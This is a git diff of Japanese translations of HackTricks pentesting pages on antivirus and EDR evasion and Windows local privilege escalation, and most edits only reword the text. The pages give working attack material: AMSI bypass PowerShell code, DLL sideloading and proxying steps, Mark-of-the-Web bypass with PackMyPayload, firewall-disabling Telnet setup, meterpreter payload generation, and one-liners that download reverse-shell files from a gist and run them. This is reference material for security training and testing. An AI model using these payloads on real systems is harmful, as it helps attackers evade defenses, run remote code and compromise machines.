+> Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
-実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックすることをお勧めします。
+実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください。
### **動的分析**
-動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。
+動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱うのが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。
-- **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。
-- **マシンのリソースを確認** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、そうでなければユーザーのマシンを遅くする可能性があります。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度を確認することで、すべてがサンドボックスに実装されているわけではありません。
-- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するか確認できます。一致しない場合は、プログラムを終了させることができます。
+- **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーのワークフローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが実装方法によってはスリープをスキップできることです。
+- **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、そうでなければユーザーのマシンを遅くする可能性があります。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの回転数をチェックすることで、すべてがサンドボックスに実装されているわけではありません。
+- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するか確認できます。一致しない場合は、プログラムを終了させることができます。
-Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名を確認できます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。
+Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するので、プログラムを終了させることができます。
.png)
出典: https://youtu.be/StSLxFbVz0M?t=1439
@@ -45,30 +45,30 @@ Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THで
.png)
Red Team VX Discord #malware-dev チャンネル
-この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、あなたは自分自身に何かを尋ねるべきです:
+この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ので、自分自身に何かを尋ねるべきです:
-たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**?それとも、あまり知られていない別のプロジェクトを使用してLSASSをダンプすることができますか。
+たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**?それとも、あまり知られていない別のプロジェクトを使用してLSASSをダンプできますか。
-正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。
+正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢のようなものです。したがって、達成しようとしていることの代替手段を探してください。
> [!NOTE]
> 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
## EXEとDLL
-可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、場合によっては検出を回避するための非常に簡単なトリックです(もちろん、ペイロードがDLLとして実行される方法がある場合)。
+可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、場合によっては検出を回避するための非常にシンプルなトリックです(もちろん、ペイロードがDLLとして実行される方法がある場合)。
この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。
.png)
antiscan.meでの通常のHavoc EXEペイロードと通常のHavoc DLLの比較
-ここでは、DLLファイルを使用してよりステルス性を高めるためのいくつかのトリックを示します。
+ここでは、DLLファイルを使用してよりステルス性を高めるためのいくつかのトリックを紹介します。
## DLLサイドローディングとプロキシ
-**DLLサイドローディング**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置します。
+**DLLサイドローディング**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置することです。
-DLLサイドローディングに脆弱なプログラムを確認するには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます:
+DLLサイドローディングに脆弱なプログラムをチェックするには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます:
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
@@ -79,7 +79,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
私はあなたが**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。
-悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。
+悪意のあるDLLをプログラムが読み込むことを期待する名前で置くだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。
**DLLプロキシング**は、プログラムがプロキシ(および悪意のある)DLLから元のDLLに行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。
@@ -92,7 +92,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
-最後のコマンドは、DLLソースコードテンプレートと元の名前が変更されたDLLの2つのファイルを生成します。
+最後のコマンドは、DLLソースコードテンプレートと、元の名前を変更したDLLの2つのファイルを生成します。
```
@@ -127,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (アンチマルウェアスキャンインターフェース)
-AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンすることができたため、ペイロードを**直接メモリ内で**実行できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。
+AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンすることができたため、ペイロードを**直接メモリ内で実行**できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。
AMSI機能はWindowsのこれらのコンポーネントに統合されています。
@@ -137,7 +137,7 @@ AMSI機能はWindowsのこれらのコンポーネントに統合されていま
- JavaScriptおよびVBScript
- Office VBAマクロ
-これは、スクリプトの内容を暗号化されておらず難読化されていない形式で公開することにより、アンチウイルスソリューションがスクリプトの動作を検査できるようにします。
+これは、スクリプトの内容を暗号化されておらず、難読化されていない形式で公開することにより、アンチウイルスソリューションがスクリプトの動作を検査できるようにします。
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`を実行すると、Windows Defenderで次のアラートが表示されます。
@@ -153,21 +153,21 @@ AMSIを回避する方法はいくつかあります:
AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。
-ただし、AMSIは複数の層があってもスクリプトを難読化解除する能力を持っているため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
+ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力を持っているため、難読化は実施方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
- **AMSIバイパス**
-AMSIはpowershell(またはcscript.exe、wscript.exeなど)プロセスにDLLを読み込むことによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
+AMSIはpowershell(またはcscript.exe、wscript.exeなど)プロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
**エラーを強制する**
-AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されない結果になります。元々、これは[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。
+AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されない結果になります。元々これは[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
たった1行のPowerShellコードで、現在のPowerShellプロセスに対してAMSIを無効にすることができました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。
-こちらは、私がこの[Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)から取った修正されたAMSIバイパスです。
+こちらは、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスです。
```powershell
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@@ -181,26 +181,26 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
-念のため、この投稿が公開されるとおそらくフラグが立つので、検出されないことを計画している場合は、コードを公開しない方が良いでしょう。
+念のため、この投稿が公開されるとおそらくフラグが立てられるので、検出されないことを計画している場合は、コードを公開しないでください。
**メモリパッチ**
この技術は最初に [@RastaMouse](https://twitter.com/_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。
> [!NOTE]
-> より詳細な説明については [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) をお読みください。
+> より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。
-また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については [**このページ**](basic-powershell-for-pentesters/#amsi-bypass) と [このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) をチェックしてください。
+また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)や[this repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。
-また、このスクリプトはメモリパッチを介して各新しいPowerShellをパッチします。
+また、このスクリプトはメモリパッチを介して各新しいPowershをパッチします。
## 難読化
C#のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールがいくつかあります。
-- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール**
-- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードの難読化]()と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
-- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。
+- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C#難読化ツール**
+- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コード難読化]()と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
+- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更せずに、コンパイル時に難読化されたコードを生成する方法を示しています。
- [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなどのさまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。
- [**metame**](https://github.com/a0rtega/metame): Metameは、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。
@@ -225,11 +225,11 @@ SmartScreenは主に評判ベースのアプローチで機能し、一般的で
> [!NOTE]
> **信頼された**署名証明書で署名された実行可能ファイルは**SmartScreenをトリガーしない**ことに注意することが重要です。
-ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、それらをISOのようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) **が** **非NTFS**ボリュームに適用できないためです。
+ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、それらをISOのようなコンテナにパッケージすることです。これは、Mark-of-the-Web(MOTW)が**非NTFS**ボリュームには**適用できない**ためです。
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージ化するツールです。
+[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージするツールです。
使用例:
```powershell
@@ -253,7 +253,7 @@ Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
-スマートスクリーンをバイパスするためのデモで、ペイロードをISOファイル内にパッケージ化する方法を示しています。[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用しています。
+スマートスクリーンをバイパスするデモで、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してペイロードをISOファイル内にパッケージ化します。
@@ -267,7 +267,7 @@ C# バイナリをメモリにロードすることはかなり前から知ら
- **Fork\&Run**
-これは、**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションで何かがうまくいかない場合や捕まった場合、**私たちのインプラントが生き残る可能性がはるかに高い**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
+これは、**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外側**で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかなかったり捕まったりした場合、**私たちのインプラントが生き残る可能性がはるかに高くなる**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
@@ -278,17 +278,17 @@ C# バイナリをメモリにロードすることはかなり前から知ら
> [!NOTE]
-> C# アセンブリのロードについてもっと知りたい場合は、この記事をチェックしてください [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) と彼らのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))。
+> C# アセンブリのロードについてもっと知りたい場合は、この記事をチェックしてください [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) と彼らのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
C# アセンブリを**PowerShellから**ロードすることもできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)をチェックしてください。
## 他のプログラミング言語の使用
-[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、妥協されたマシンに**攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを与えることによって、他の言語を使用して悪意のあるコードを実行することが可能です**。
+[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、攻撃者が制御するSMB共有にインストールされたインタープリタ環境へのアクセスを提供することで、他の言語を使用して悪意のあるコードを実行することが可能です。
-インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行することができます**。
+インタープリタバイナリとSMB共有上の環境へのアクセスを許可することで、**侵害されたマシンのメモリ内でこれらの言語の任意のコードを実行することができます**。
-リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されています。
+リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されました。
## 高度な回避
@@ -298,18 +298,22 @@ C# アセンブリを**PowerShellから**ロードすることもできます。
[@ATTL4S](https://twitter.com/DaniLJ94)のこのトークをぜひご覧ください。より高度な回避技術についての足がかりを得ることができます。
-{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
+{{#ref}}
+https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
+{{#endref}}
-[@mariuszbit](https://twitter.com/mariuszbit)による深い回避についての別の素晴らしいトークもあります。
+[@mariuszbit](https://twitter.com/mariuszbit)による深い回避に関する別の素晴らしいトークもあります。
-{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
+{{#ref}}
+https://www.youtube.com/watch?v=IbA7Ung39o4
+{{#endref}}
## **古い技術**
### **Defenderが悪意のあるものとして見つける部分を確認する**
-[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つけている部分を特定し**、それを分割してくれます。\
-同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred)で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)。
+[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つける部分を特定し**、それを分割してくれます。\
+同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred)で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnetサーバー**
@@ -321,7 +325,7 @@ pkgmgr /iu:"TelnetServer" /quiet
```bash
sc config TlntSVR start= auto obj= localsystem
```
-**テレネットポートの変更** (ステルス) とファイアウォールの無効化:
+**テレネットポートを変更** (ステルス)し、ファイアウォールを無効にします:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
@@ -340,7 +344,7 @@ netsh advfirewall set allprofiles state off
#### **リバース接続**
-**攻撃者**は **ホスト内で** バイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**を受け取る準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect ::5900` を実行します。
+**攻撃者**は **ホスト内で** バイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**をキャッチする準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect ::5900` を実行します。
**警告:** ステルスを維持するために、いくつかのことを行ってはいけません
@@ -358,7 +362,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
-GreatSCTの内部:
+GreatSCTの内部:
```
use 1
list #Listing available payloads
@@ -368,7 +372,7 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
-今すぐ **lister** を `msfconsole -r file.rc` で **開始** し、**xml ペイロード** を次のように **実行** します:
+今、**lister**を`msfconsole -r file.rc`で**開始**し、**xmlペイロード**を次のように**実行**します:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
@@ -473,9 +477,11 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
-{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
+{{#ref}}
+https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
+{{#endref}}
-C# オブfuscators リスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
+C# オブファスケーターのリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index 165ed3b17..2d71c5033 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -8,15 +8,15 @@
### アクセストークン
-**Windowsアクセストークンが何か分からない場合は、続行する前に以下のページを読んでください:**
+**Windowsアクセストークンが何か知らない場合は、続行する前に以下のページを読んでください:**
{{#ref}}
access-tokens.md
{{#endref}}
-### ACLs - DACLs/SACLs/ACEs
+### ACL - DACL/SACL/ACE
-**ACLs - DACLs/SACLs/ACEsに関する詳細は以下のページを確認してください:**
+**ACL - DACL/SACL/ACEに関する詳細情報は以下のページを確認してください:**
{{#ref}}
acls-dacls-sacls-aces.md
@@ -24,7 +24,7 @@ acls-dacls-sacls-aces.md
### 整合性レベル
-**Windowsの整合性レベルが何か分からない場合は、続行する前に以下のページを読んでください:**
+**Windowsの整合性レベルが何か知らない場合は、続行する前に以下のページを読んでください:**
{{#ref}}
integrity-levels.md
@@ -42,7 +42,7 @@ Windowsには、**システムの列挙を妨げる**、実行可能ファイル
### バージョン情報の列挙
-Windowsのバージョンに既知の脆弱性がないか確認してください(適用されたパッチも確認してください)。
+Windowsのバージョンに既知の脆弱性があるか確認してください(適用されたパッチも確認してください)。
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### バージョンのエクスプロイト
-この [site](https://msrc.microsoft.com/update-guide/vulnerability) は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する**大規模な攻撃面**を示しています。
+この[サイト](https://msrc.microsoft.com/update-guide/vulnerability)は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する**大規模な攻撃面**を示しています。
**システム上で**
@@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
### 環境
-env変数に保存された資格情報/重要な情報はありますか?
+環境変数に保存された資格情報/重要な情報はありますか?
```bash
set
dir env:
@@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell トランスクリプトファイル
-これをオンにする方法は[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。
+この機能をオンにする方法は[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@@ -125,17 +125,17 @@ PowersShell ログから最後の 15 イベントを表示するには、次の
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
-### PowerShell **スクリプトブロックログ記録**
+### PowerShell **スクリプトブロックロギング**
-スクリプトの実行の完全な活動と全内容の記録がキャプチャされ、実行されるコードの各ブロックが文書化されることが保証されます。このプロセスは、各活動の包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析に役立ちます。実行時にすべての活動を文書化することにより、プロセスに関する詳細な洞察が提供されます。
+スクリプトの実行の完全なアクティビティと内容の記録がキャプチャされ、実行されるコードの各ブロックが文書化されることが保証されます。このプロセスは、各アクティビティの包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析に役立ちます。実行時にすべてのアクティビティを文書化することにより、プロセスに関する詳細な洞察が提供されます。
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
-スクリプトブロックのログイベントは、Windowsイベントビューワーのパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**。\
-最後の20件のイベントを表示するには、次のコマンドを使用できます:
+スクリプトブロックのログイベントは、Windowsイベントビューアのパス **Application and Services Logs > Microsoft > Windows > PowerShell > Operational** にあります。\
+最後の20件のイベントを表示するには、次のコマンドを使用できます:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
```
@@ -152,13 +152,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
## WSUS
-更新がhttpではなくhttp**S**を使用してリクエストされていない場合、システムを侵害することができます。
+システムは、更新がhttpではなくhttp**S**を使用してリクエストされていない場合に侵害される可能性があります。
次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
-返信があった場合は:
+返信が次のような場合:
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
@@ -180,21 +180,21 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
> ローカルユーザープロキシを変更する権限があり、Windows Update が Internet Explorer の設定で構成されたプロキシを使用する場合、私たちは [PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自分のトラフィックを傍受し、資産上で昇格されたユーザーとしてコードを実行する権限を持っています。
>
